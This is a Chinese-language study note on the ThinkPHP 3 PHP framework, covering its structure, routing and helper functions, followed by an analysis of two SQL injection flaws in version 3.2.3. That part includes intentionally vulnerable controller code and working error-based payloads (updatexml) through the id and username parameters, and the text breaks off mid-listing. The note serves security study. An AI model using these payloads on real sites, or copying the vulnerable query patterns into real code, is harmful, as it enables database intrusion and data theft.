Thinkphp 3 总结

1. 基础

1.1. MVC 设计模式

  1. Model(模型) :模型组件负责管理应用的数据和业务逻辑。它直接与数据库交互(进行数据查询或更新),并处理与数据相关的逻辑操作,如数据的验证、表示和存储。模型是应用程序的心脏,它不依赖于视图和控制器,这使得数据处理部分可以独立于用户界面。
  2. View(视图) :视图组件负责展示数据(即模型)给用户。它通常以图形界面的形式存在,如网页或桌面应用程序的 GUI。视图只显示数据,不执行任何业务逻辑。当模型的数据发生变化时,视图会相应地更新展示内容。
  3. Controller(控制器) :控制器组件是模型与视图之间的协调者。它接收用户的输入(如鼠标点击和键盘输入),并调用模型的逻辑来处理这些输入(如请求数据更新),最后更新视图来反映模型的新状态。控制器将用户的操作转化为模型的数据处理请求,并选择合适的视图进行展示。

1.2. 结构

目录结构:

www  WEB部署目录(或者子目录)
├─index.php       入口文件
├─README.md       README文件
├─Application     应用目录
├─Public          资源文件目录
└─ThinkPHP        框架目录

上面的目录结构和名称是可以改变的,这取决于你的入口文件和配置参数

ThinkPHP 框架目录如下:

├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│  ├─Common       核心公共函数目录
│  ├─Conf         核心配置目录 
│  ├─Lang         核心语言包目录
│  ├─Library      框架类库目录
│  │  ├─Think     核心Think类库包目录
│  │  ├─Behavior  行为类库目录
│  │  ├─Org       Org类库包目录
│  │  ├─Vendor    第三方类库目录
│  │  ├─ ...      更多类库目录
│  ├─Mode         框架应用模式目录
│  ├─Tpl          系统模板目录
│  ├─LICENSE.txt  框架授权协议文件
│  ├─logo.png     框架LOGO文件
│  ├─README.txt   框架README文件
│  └─ThinkPHP.php 框架入口文件

Application 目录:

Application      默认应用目录
├─Common         应用公共模块(不能直接访问)
│  ├─Common      应用公共函数目录
│  └─Conf        应用公共配置文件目录
├─Home           默认生成的Home模块
│  ├─Conf        模块配置文件目录
│  ├─Common      模块函数公共目录
│  ├─Controller  模块控制器目录
│  ├─Model       模块模型目录
│  └─View        模块视图文件目录
├─Runtime        运行时目录
│  ├─Cache       模版缓存目录
│  ├─Data        数据目录
│  ├─Logs        日志目录
│  └─Temp        缓存目录
├─Admin          后台模块

Module 目录:

├─Module         模块目录
│  ├─Conf        配置文件目录
│  ├─Common      公共函数目录
│  ├─Controller  控制器目录
│  ├─Model       模型目录
│  ├─Logic       逻辑目录(可选)
│  ├─Service     Service目录(可选)
│  └─View        视图目录

1.3. 入口文件

入口文件主要完成:

  • 定义框架路径、项目路径(可选)
  • 定义调试模式和应用模式(可选)
  • 定义系统相关常量(可选)
  • 载入框架入口文件(必须)

默认情况下,框架已经自带了一个应用入口文件(以及默认的目录结构),内容如下:

define('APP_PATH','./Application/');
require './ThinkPHP/ThinkPHP.php';

如果你改变了项目目录(例如把 Application ​更改为 Apps​),只需要在入口文件更改 APP_PATH 常量定义即可:

define('APP_PATH','./Apps/');
require './ThinkPHP/ThinkPHP.php';

注意:APP_PATH 的定义支持相对路径和绝对路径,但必须以“/”结束

如果你调整了框架核心目录的位置或者目录名,只需要这样修改:

define('APP_PATH','./Application/');
require './Think/ThinkPHP.php';

也可以单独定义一个 THINK_PATH 常量用于引入:

define('APP_PATH','./Application/');
define('THINK_PATH',realpath('../Think').'/');
require THINK_PATH.'ThinkPHP.php';

2. 控制器

命名格式:Controller前面的字符就是控制器名

例如:Application/Home/Controller​ 目录下 IndexController.class.php​ 文件就是默认 Index​ 的控制器文件。

命名方式:

  • 类名:控制器名​ + Controller​ 其中 控制器名 ​采用大驼峰命名法
  • 文件名:类名​ + class.php

默认 Index​ 控制器的内容如下:

<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }
}
  1. namespace Home\Controller;​​:声明了当前文件所在的命名空间为 Home\Controller​​。ThinkPHP 框架采用命名空间来组织代码,以避免类名冲突,并支持更好的代码结构。在这个例子中,Home​ ​通常代表一个模块(Module),而 Controller​ ​表明这是一个控制器类所在的命名空间;
  2. use Think\Controller;​​:这行代码通过 use​ ​关键字引入了 ThinkPHP 框架中的基础控制器类 Controller​​。Think\Controller​ ​是框架提供的一个核心类,定义了控制器的基本方法和属性。当前的控制器类将继承这个基类,从而获得框架提供的各种控制器功能;
  3. IndexController​ 类继承自 Think\Controller​。

3. 配置文件

TP3 中一个配置文件就可以实现很多信息的配置,如数据库信息的配置,路由规则配置等都会放在一个文件中。在 TP5 中则是通过专门的文件去配置不同的需求,如路由配置文件专门负责配置路由,数据库配置文件专门负责配置数据库信息。

在 ThinkPHP 中,一般来说应用的配置文件是自动加载的,加载的顺序是:

惯例配置-> 应用配置-> 模式配置-> 调试配置-> 状态配置-> 模块配置-> 扩展配置-> 动态配置

以上是配置文件的加载顺序,后面的配置会覆盖之前的同名配置

  • 惯例配置:惯例重于配置是系统遵循的一个重要思想,框架内置有一个惯例配置文件(位于 ThinkPHP/Conf/convention.php​)
  • 应用配置:应用配置文件也就是调用所有模块之前都会首先加载的公共配置文件(默认位于 Application/Common/Conf/config.php​)
  • 模块配置:每个模块会自动加载自己的配置文件(位于 Application/当前模块名/Conf/config.php​)。

4. 路由

ThinkPHP 的路由功能包括:

  • 正则路由
  • 规则路由
  • 静态路由(URL 映射)
  • 闭包支持

配置文件 Application/Common/Conf/config.php

4.1. 启用路由

要使用路由功能,前提是你的 URL 支持 PATH_INFO(或者兼容 URL 模式也可以,采用普通 URL 模式的情况下不支持路由功能),并且在应用(或者模块)配置文件中开启路由:

// 开启路由
'URL_ROUTER_ON'   => true,

路由功能可以针对模块,也可以针对全局,针对模块的路由则需要在模块配置文件中开启和设置路由,如果是针对全局的路由,则是在公共模块的配置文件中开启和设置(后面我们以模块路由定义为例)。

然后就是配置路由规则了,在模块的配置文件中使用 URL_ROUTE_RULES 参数进行配置,配置格式是一个数组,每个元素都代表一个路由规则,例如:

'URL_ROUTE_RULES'=>array(
    'news/:year/:month/:day' => array('News/archive', 'status=1'),
    'news/:id'               => 'News/read',
    'news/read/:id'          => '/news/:1',
),

系统会按定义的顺序依次匹配路由规则,一旦匹配到的话,就会定位到路由定义中的控制器和操作方法去执行(可以传入其他的参数),并且后面的规则不会继续匹配。

URL 规则:

默认情况下可以使用 PATHINFO 模式、普通模式进行 url 访问

4.2. 路由表达式

'路由表达式'=>'路由地址和额外参数'
表达式 示例
正则表达式 /^blog\/(\d+)$/
规则表达式 blog/:id

闭包支持:

可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法了,例如:

'URL_ROUTE_RULES'=>array(
    'test'        => function(){ echo 'just test'; },
    'hello/:name' => function($name){ 
            echo 'Hello,'.$name;
        }

4.3. 路由访问方式

在配置文件中可以通过 URL_MODEL ​设置访问方式

thinkPHP 还支持几种 URL 模式,可以通过设置 URL_MODEL ​参数改变 URL 模式:

URL 模式 URL_MODEL 设置
普通模式 0
PATHINFO 模式 1
REWRITE 模式 2
兼容模式 3

(1). PATH_INFO 模式

PATH_INFO ​是一个环境变量,用于存储请求 URL 中,脚本名称之后、查询字符串(?​)之前的部分。例如,在 URL http://example.com/index.php/user/add ​中,/user/add ​就是 PATH_INFO ​的内容。ThinkPHP 利用 PATH_INFO ​来获取请求的模块、控制器和操作信息。

http://serverName/index.php(应用)/模块/控制器/操作/[参数名/参数值...]

公共模块是一个特殊模块,访问所有的模块之前都会首先加载公共模块下的配置文件 Application/Common/conf/config.php ​和公共函数文件 Application/Common/Common/function.php​。但是公共模块本身不能通过 URL 直接访问。

(2). 普通模式

使用 GET 传参的方式来指定当前访问的模块和操作

m ​参数表示模块,c ​参数表示控制器,a ​表示操作 后面接形参

http://localhost/?m=home&c=user&a=login&var1=value1&var2=value2
http://localhost/index.php?m=home&c=user&a=login&var1=value1&var2=value2

(3). REWRITE 模式

与传统的 GET ​参数方式相比,REWRITE ​模式隐藏了入口文件名(如 index.php​)和模块、控制器、操作的访问参数,使 URL 路径看起来像是访问一个实际的路径,实际上是通过内部重写规则映射到相应的控制器和方法上。

配置 Web 服务器:根据使用的 Web 服务器,需要相应配置重写规则。

  • 对于 Apache,使用 .htaccess ​文件进行配置,确保开启了 mod_rewrite ​模块。.htaccess ​示例配置如下:

    <IfModule mod_rewrite.c>
        Options +FollowSymlinks
        RewriteEngine On
        RewriteCond %{REQUEST_FILENAME} !-d
        RewriteCond %{REQUEST_FILENAME} !-f
        RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
      </IfModule>
  • 对于 Nginx,在 Nginx 的配置文件中添加重写规则。Nginx 配置示例:

    location / {
          if (!-e $request_filename) {
             rewrite  ^/(.*)$  /index.php?s=/$1  last;
             break;
          }
      }

(4). 兼容方式

例如:

http://servername/index.php?s=/index/Index/index
http://servername/index.php?s=Actionlog/Backend/index

(5). router.php

也需要注意 Application\ ​目录下的各个模块的 Conf/router.php ​文件,里面会定义一些具体的路由请求方式

'home_list/:id'             => 'Home/Index/home_list',
    // 分类详细
'home_detail/:id'           => 'Home/Index/home_detail',
//上传头像
'member/image/upload'         => 'Home/Member/iamgeupload',

这时比如想走入 Home/Index/home_list​ 也就是 home_list​ 方法内,则需要访问 home_list/:id​ 才可以。

5. 内置方法

TP 3 对一些经常使用操作封装成了快捷方法,目的在于使程序更加简单安全,在 TP 3 官方文档中并没有做系统的介绍,不过在 TP 5 中就有系统整理,并且还给了一个规范命名:助手函数。

快捷方法一般位于 ThinkPHP/Common/functions.php

A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

5.1. I 方法

用于获取输入数据,如 $_GET、$_POST、$_REQUEST、$_SESSION、$_COOKIE​ 等超全局数组中的数据。这个方法主要用于简化和加强对输入数据的处理,提供了一种更安全、更便捷的方式来访问用户输入。

基本用法

I() ​方法的基本用法如下:

$data = I('变量类型.变量名/过滤方法/默认值', 默认值, 过滤方法);
  • 变量类型:指定要获取的数据的类型,如 get​、post​、session​、cookie ​等。如果不指定,默认为 param​,表示按照 GET​、POST ​和 COOKIE ​的顺序查找。
  • 变量名:要获取的变量的名称。
  • 过滤方法:对输入数据进行过滤的方法,可以是 PHP 的内置函数名,或者更复杂的过滤规则。==如果不指定,默认使用框架的全局过滤方法,通常是== ==​htmlspecialchars​==。
  • 默认值:如果指定的输入数据不存在时返回的默认值。

示例:

// 获取GET参数id,不存在时默认为1
$id = I('get.id', 1);

// 获取POST参数name,使用trim函数过滤
$name = I('post.name', '', 'trim');

// 获取COOKIE参数name,不存在时默认为空字符串
$name = I('cookie.name', '');

// 获取任意类型的参数name,优先级为GET、POST、COOKIE
$name = I('name');

5.2. C 方法

C() ​函数是用于获取和设置配置参数的一个非常重要的功能函数。这个函数极大地简化了配置管理的复杂度,允许开发者在应用程序的任何地方访问或修改配置信息。

基本用法

C() ​函数的使用非常灵活,具体用法取决于传入参数的数量和类型:

  • 获取配置值:当 C() ​函数被传入一个字符串参数时,它会返回对应配置项的值。如果配置项不存在,则返回 null​;

    $value = C('配置项名称');
    
  • 设置配置值:当 C() ​函数被传入一个键值对数组时,它会批量设置配置项的值。这种用法通常用于动态修改配置;

    C(array('配置项1' => '值1', '配置项2' => '值2'));
    
  • 设置单个配置值:当 C() ​函数被传入两个参数时,它会设置单个配置项的值;

    C('配置项名称', '配置值');
    

示例:

// 批量设置配置
C(array(
    'DB_TYPE' => 'mysql',
    'DB_HOST' => 'localhost',
    'DB_NAME' => 'testdb',
    'DB_USER' => 'root',
    'DB_PWD'  => 'password'
));

注意事项:

  • 配置范围:ThinkPHP 支持多级配置,C() ​函数获取或设置的配置项可能来自应用的全局配置、模块配置、动态配置等。设置的配置项通常影响当前请求的生命周期。
  • 性能考虑:频繁地动态修改配置项可能会对应用性能产生影响,因此建议谨慎使用此功能。
  • 配置缓存:为了提高性能,ThinkPHP 支持配置缓存。在开发过程中,如果更改了配置文件,可能需要清除缓存才能看到效果。

5.2. M 方法/D 方法

在 ThinkPHP 框架中,M() ​和 D() ​函数是两种用于实例化模型对象的方法,它们提供了与数据库交互的接口。这两个方法有相似之处,但也有关键的区别,主要体现在它们如何处理模型层的。

(1). M 方法

M() ​方法用于实例化一个基础模型对象,通常用于简单的数据库操作,这种方式不需要定义模型类。M() ​直接使用框架内置的 Model ​类进行数据库操作,适用于没有复杂业务逻辑的数据操作。

基本用法

$userModel = M('User');
$data = $userModel->where('status=1')->select();

在这个例子中,M('User') ​实例化了一个对应于用户表的模型对象,然后执行了一个查询操作。这里的 'User' ​是数据库中表的名称。

(2). D 方法

D() ​方法用于实例化一个用户定义的模型对象,这要求开发者事先定义了一个模型类。使用 D() ​方法可以让你利用 ThinkPHP 的模型类功能,如自动验证、自动完成、关联模型等高级功能,这对于需要封装业务逻辑的模型是非常有用的。

基本用法

首先,你需要定义一个模型类。例如,如果你有一个用户表,你可以创建一个 UserModel ​类:

namespace Home\Model;
use Think\Model;
class UserModel extends Model {
    // 模型代码
}

然后,你可以这样使用 D() ​方法来实例化这个模型:

$userModel = D('User');
$data = $userModel->where('status=1')->select();

在这个例子中,D('User')​ 实例化了一个名为 UserModel​ 的模型对象。D()​ 方法会自动寻找 UserModel​ 类,如果找不到,它会退回到使用基础模型类 Model​。

(3). M 方法与 D 方法的选择

  • 简单 CRUD 操作:如果你只需要进行一些简单的 CRUD(创建、读取、更新、删除)操作,而不需要模型层的高级特性,那么使用 M() ​方法会更简单、更直接。
  • 复杂业务逻辑:如果你的数据操作涉及复杂的业务逻辑,或者你需要使用模型层的特性(如自动验证、自动完成、关联模型等),那么使用 D() ​方法更合适,因为它允许你在模型类中封装这些逻辑。

6. 漏洞总结

6.0 ThinkPHP 对于防止 SQL 注入做了什么

(1). _parseType()

定义位置:ThinkPHP/Library/Think/Db/Driver.class.php:737

作用:将传入字符按照数据库字段类型进行转换

protected function _parseType(&$data, $key)
{
    // $this->fields['_type'][$key] 中保存所交互数据库中所有列的类型
    if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
        $fieldType = strtolower($this->fields['_type'][$key]);
        if (false !== strpos($fieldType, 'enum')) {
            // 支持ENUM类型优先检测
        } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
            // 是否为整型但不是bigint类型。如果是,将使用intval函数将数据转换为整型。
            $data[$key] = intval($data[$key]);
        } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
            // 检查字段类型是否为float或double。如果是,进行浮点数转换
            $data[$key] = floatval($data[$key]);
        } elseif (false !== strpos($fieldType, 'bool')) {
            // 检查字段类型是否为布尔类型。如果是,进行布尔类型转换
            $data[$key] = (bool) $data[$key];
        }
    }
}

(2). escapeString()

定义位置:ThinkPHP/Library/Think/Db/Driver.class.php:1129

作用:函数将字符串直接传入 addslashes,可以过滤单引号等字符。

public function escapeString($str)
{
    return addslashes($str);
}

(3). parseValue()

定义位置:ThinkPHP/Library/Think/Db/Driver.class.php:456

作用:按照规则转义字符串

protected function parseValue($value)
{
    if (is_string($value)) {
        // 字符串以':'开头,并且存在于$this->bind的键中将直接使用$escapeString对其进行转义
        // 否则将值两侧添加单引号,并对值进行转义处理
        $value = strpos($value, ':') === 0 && in_array($value, array_keys($this->bind)) ? $this->escapeString($value) : '\'' . $this->escapeString($value) . '\'';
    } elseif (isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp') {
        // $value是一个数组,第一个元素是字符串'exp'
        // 对数组的第二个元素进行转义处理
        $value = $this->escapeString($value[1]);
    } elseif (is_array($value)) {
        // $value是一个数组,递归调用parseValue函数处理数组中的每一个元素
        $value = array_map(array($this, 'parseValue'), $value);
    } elseif (is_bool($value)) {
        // $value是布尔值,转换为字符串'1'或'0'
        $value = $value ? '1' : '0';
    } elseif (is_null($value)) {
        $value = 'null';
    }
    return $value;
}

(4). I​ 方法

使用 I 方法获得参数值时会经过 htmlspecialchars​ 与 think_filter()​​

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

(5). parseWhere()

protected function parseWhere($where)
{
    $whereStr = '';
    if (is_string($where)) {
        // 如果$where是字符串,则直接用作where查询的条件
        $whereStr = $where;
    } else {
        // 如果$where是数组,则按照数组的键值构建条件
        $operate = isset($where['_logic']) ? strtoupper($where['_logic']) : 'AND';
        // 如果指定逻辑运算符(AND, OR, XOR),则使用之;否则默认使用AND
        $operate = ' ' . $operate . ' ';
        unset($where['_logic']); // 移除逻辑运算符,以便处理其他条件

        foreach ($where as $key => $val) {
            if (is_numeric($key)) {
                $key = '_complex'; // 特殊键处理
            }
            if (0 === strpos($key, '_')) {
                // 处理特殊条件,如 _complex
                $whereStr .= $this->parseThinkWhere($key, $val);
            } else {
                // 正常字段的处理,支持'|'和'&'来实现OR和AND的组合条件
                if (strpos($key, '|')) {
                    // '|' 分隔的字段表示OR条件
                    $array = explode('|', $key);
                    $str   = [];
                    foreach ($array as $k) {
                        $str[] = $this->parseWhereItem($this->parseKey($k), $val);
                    }
                    $whereStr .= '( ' . implode(' OR ', $str) . ' )';
                } elseif (strpos($key, '&')) {
                    // '&' 分隔的字段表示AND条件
                    $array = explode('&', $key);
                    $str   = [];
                    foreach ($array as $k) {
                        $str[] = '(' . $this->parseWhereItem($this->parseKey($k), $val) . ')';
                    }
                    $whereStr .= '( ' . implode(' AND ', $str) . ' )';
                } else {
                    // 处理普通字段
                    $whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
                }
            }
            $whereStr .= $operate; // 追加逻辑运算符
        }
        $whereStr = substr($whereStr, 0, -strlen($operate)); // 移除最后一个逻辑运算符
    }
    return empty($whereStr) ? '' : ' WHERE ' . $whereStr; // 如果$whereStr为空,则返回空字符串,否则加上'WHERE'
}

(6). parseWhereItem()

定义位置:ThinkPHP/Library/Think/Db/Driver.class.php:597

作用:where​ 查询子单元,其中根据不同的逻辑调用 parseValue​,直接拼接的只有 exp ​和 bind ​两种情况

if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
    // 比较运算处理流程
} elseif (preg_match('/^(notlike|like)$/', $exp)) {
    // 模糊查找处理流程
} elseif ('bind' == $exp) {
    // bind 处理流程
} elseif ('exp' == $exp) {
    // exp 处理流程
} elseif (preg_match('/^(notin|not in|in)$/', $exp)) {
    // IN 运算处理流程
} elseif (preg_match('/^(notbetween|not between|between)$/', $exp)) {
    // BETWEEN 运算处理流程
} else {
    // 异常
    E(L('_EXPRESS_ERROR_') . ':' . $val[0]);
}

(7). getLastSql()

利用框架提供的工具辅助分析:

public function getSql($model){
    $sql = $model->getLastSql();
    echo '<br>';
    echo 'sql语句:'.$sql;
    echo '<br>';
}

可以获取最近一次执行的 SQL 语句。

6.1 $Options​ 可控导致注入

(1). 漏洞代码

修改 Application/Home/Controller/IndexController.class.php​:

public function index()
{
    // I 参数获取 get中id参数的数值
    $User = M("Users");
    // 直接根据主键 ID 查找单条记录
    $data = $User->find(I('GET.id'));
    var_dump($data);
    $this->getSql($User);
}

Payload:

?id[where]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

?id[table]=users where 1=1 and updatexml(1,concat(0x7e,(select%20database()),0x7e),1)

?id[alias]=where 1=1 and updatexml(1,concat(0x7e,(select%20database()),0x7e),1)

(2). 流程梳理

  1. 首先传入 ?id=1'​ 进入调试,入口处使用 I 方法获取参数(过滤特殊字符与关键字)

  2. 进入 ThinkPHP/Library/Think/Model.class.php:779​ 的 find()(该方法可接受一个 options 参数 TP3.2.3 大部分查询的最终约束条件就是 options)​ 方法,并在该方法内部通过 _parseOptions()​ 将接收到的字符串进行标准化处理

  1. _parseOptions()​ 的处理流程:

    protected function _parseOptions($options = array())
     {
         if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
             $options = array_merge($this->options, $options);
         }
    
         if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
             // 自动获取表名
             $options['table'] = $this->getTableName();
             $fields           = $this->fields;
         } else {
             // 指定数据表 则重新获取字段列表 但不支持类型检测
             $fields = $this->getDbFields(); //设置了进这里
         }
    
         // 数据表别名
         if (!empty($options['alias'])) {//判断是否设置了数据表别名
             $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
         }
         // 记录操作的模型名称
         $options['model'] = $this->name;
    
         // 字段类型验证
         if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
             // 对数组查询条件进行字段类型检查
             ......
         }
         // 查询过后清空sql表达式组装 避免影响下次查询
         $this->options = array();
         // 表达式过滤
         $this->_options_filter($options);
         return $options;
     }
    

    ThinkPHP/Library/Think/Model.class.php:710​​​ 将参数传入 _parseType​​​ 方法:

    这里会根据数据表中的字段属性,来重新对我们的数据==进行类型转换==,id 对应的类型是 int,这里直接做了 intval​ 处理导致 '​ 在这里被丢掉

  2. 数据经过处理后回到 find()​​ 方法,并依次进入 select()->buildSelectSql()​​,最终在 parseSql()​​ 拼接成完整的 sql​ ​语句进行查询。

    public function parseSql($sql, $options = array())
     {
         $sql = str_replace(
             array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
             array(
                 $this->parseTable($options['table']),
                 $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
                 $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
                 $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
                 $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
                 $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
                 $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
                 $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
                 $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
                 $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
                 $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
                 $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
                 $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
             ), $sql);
         return $sql;
     }
    

总结

传入 id=1'​ -> I()​`(htmlspecialchars、think_filter)`​​ -> find()​ -> _parseOptions()​ -> _parseType()​ 然后将我们的字符串清理->select()​ 拼接成 SQL 语句

(3). 尝试绕过

分析 find方法中的输入处理

首先,我们观察到在 find​ 方法中对 $options​ 参数的处理。如果 $options​ 是简单的数字或字符串,方法会自动将其视为主键值,并构造查询条件:

if (is_numeric($options) || is_string($options)) {
    $where[$this->getPk()] = $options;
    $options               = array();
    $options['where']      = $where;
}

正常通过该流程构造的查询条件中 $options​ 结构如下:

$options = array (
  'where' => 
  array (
    'id' => '1',
  ),
)

复合主键查询的处理

接下来,代码提供了复合主键查询的支持。这要求 $options​ 必须是一个非空数组,并且 $pk​(表的主键)也必须是一个数组。对于仅定义了一个主键的表可以不进入该流程:

if (is_array($options) && (count($options) > 0) && is_array($pk)) {
    // 根据复合主键查询
    // 要求 $pk 数组的长度与 $count 相等
    // 通过遍历 $pk 数组,并将 $options 中对应的值与 $pk 中的字段名关联起来,构建查询条件数组 $where
}

正是因为这个复合主键查询功能的设计,能够允许传入参数 $options​ 为数组。同时找到一个只包含单一主键的表,就可以实现以下目的:

  • 绕过上面代码复合主键查询中对于 $key​ 和 $PK​ 一一对应的要求;
  • 可以传入字符串形式的 $options['table']​ 绕过下文 parseTable​ 的处理流程;
  • 可以传入字符串形式的 $options['where']​ 绕过下文 parseWhere​ 的处理流程;

直接对 $options​ 进行解析,进入 _parseOptions​ 方法。

深入 _parseOptions方法的参数解析

_parseOptions​ 方法中,对 $options​ 进行进一步的解析和处理:

protected function _parseOptions($options = array())
{
    if (is_array($options)) {
        //当$options为数组的时候与 $this->options 数组进行整合
        $options = array_merge($this->options, $options);
    }
    if (!isset($options['table'])) {
        // 如果未设置 table 选项,则自动获取表名
        $options['table'] = $this->getTableName();
        $fields           = $this->fields;
    } else {
        // 如果设置了 table,则重新获取字段列表
        $fields = $this->getDbFields();
    }
    if (!empty($options['alias'])) {
        // $options['alias'] 直接拼接到 $options['table'] 中
        $options['table'] .= ' ' . $options['alias'];
    }
    $options['model'] = $this->name;

    // 字段类型验证
    if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { 
        // 设置了 where 键、$fields(字段列表)非空、join 为空
        // 去除 $key 字符串两端的空白字符
        // 检查键是否在数据表的列中
        // $key 中不能出现特殊字符
        ......
    }
    // 查询过后清空sql表达式组装 避免影响下次查询
    $this->options = array();
    // 表达式过滤
    $this->_options_filter($options);
    return $options;
}

$options['alias']​ 直接拼接到 $options['table']​ 中,不过滤。设置 $options['where']​ 为字符串可绕过字段类型验证。

参数解析的后续影响

$option['table']​ 在 parseTable​ 函数进行解析,跟进:

if (is_array($tables)) {//为数组进
    // 支持别名定义
    ......
} elseif (is_string($tables)) {//不为数组进
    $tables = array_map(array($this, 'parseKey'), explode(',', $tables));
}
return implode(',', $tables);

猜测按照开发的预期程序处理流程中 $option['table']​ 的值不应由用户输入,所以当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

$options['where']​ 会进入 parseWhere​ 函数进行解析:

$whereStr = '';
if (is_string($where)) {
    // 直接使用字符串条件
    $whereStr = $where; //直接返回了,没有任何过滤
} else {
    // 使用数组表达式
    ......
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;

同理如果 $options['where']​ 为字符串则直接返回,否则则会进入 parseWhereItem()​ 方法;

同时在该方法中显示 exp​ 及 bind​ 条件下查询语句也是直接拼接,没有经过过滤。

(4). 修复

更新 ThinkPHP 3.2.4

在修复中发现 options​ 和 this->options​ 分开了,这样我们传入的 options​ 就不会影响到 this->options ​了:

因为 $this->option​ 中所有的值均为处理流程生成,无法任意输入。

6.2 where exp 注入

(1). 漏洞代码

简单例子:

public function index()
{
    $User = D('Users');
    $map = $_GET['username'];
    $user = $User->where($map)->find();
    var_dump($user);
}

上面这种例子,where​ 对于输入的查询条件没有任何过滤,最终查询语句形如:

SELECT * FROM `users` WHERE ( username=test )

直接进行拼接即可。

这里只分析下面的情况:

public function index()
{
    $User = D('Users');
    // 先构建查询条件,再执行查询
    $map = array('username' => $_GET['username']);
    // $map = array('username' => I('username'));
    $user = $User->where($map)->find();
    var_dump($user);
}

Payload:

?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

(2). 流程梳理

  1. 首先传入 ?username=test2'​ 进入调试,跟入 ThinkPHP/Library/Think/Model.class.php:1998​ 的 where​ 方法:

    public function where($where, $parse = null)
     {
         if (!is_null($parse) && is_string($where)) {
             if (!is_array($parse)) {
                 $parse = func_get_args();
                 array_shift($parse);
             }
             $parse = array_map(array($this->db, 'escapeString'), $parse);
             $where = vsprintf($where, $parse);
         } elseif (is_object($where)) {
             $where = get_object_vars($where);
         }
         if (is_string($where) && '' != $where) {
             $map            = array();
             $map['_string'] = $where;
             $where          = $map;
         }
         if (isset($this->options['where'])) {
             $this->options['where'] = array_merge($this->options['where'], $where);
         } else {
             $this->options['where'] = $where;
         }
    
         return $this;
     }
    

    在上述第 21 行将传入的数组参数传递给了 $this->options['where']​, 然后直接返回了对象 $this​;

  2. 没有传入参数进入 ThinkPHP/Library/Think/Model.class.php:779​ 的 find​ 方法,在 ThinkPHP/Library/Think/Model.class.php:811​ 进入 $options = $this->_parseOptions($options);​ 其中 $options = {limit => 1}

  3. 进入 ThinkPHP/Library/Think/Model.class.php:681​ 的 _parseOptions​ 方法,$options​ 在第 684 行从 $this​ 对象中获取请求值:

  4. 经过 _parseType​ 数据类型检测、select​ 查询函数后,请求值进入 parseWhere​ 与表名一起在 ThinkPHP/Library/Think/Db/Driver.class.php:572​ 传入 parseWhereItem​,没有匹配任何查询条件直接进入下列第 72 行 (ThinkPHP/Library/Think/Db/Driver.class.php:654)​:

    protected function parseWhereItem($key, $val)
     {
         $whereStr = '';
         if (is_array($val)) {
             if (is_string($val[0])) {
                 $exp = strtolower($val[0]);
                 if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
                     // 比较运算
                     $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
                 } elseif (preg_match('/^(notlike|like)$/', $exp)) {
                     // 模糊查找
                     if (is_array($val[1])) {
                         $likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
                         if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
                             $like = array();
                             foreach ($val[1] as $item) {
                                 $like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
                             }
                             $whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
                         }
                     } else {
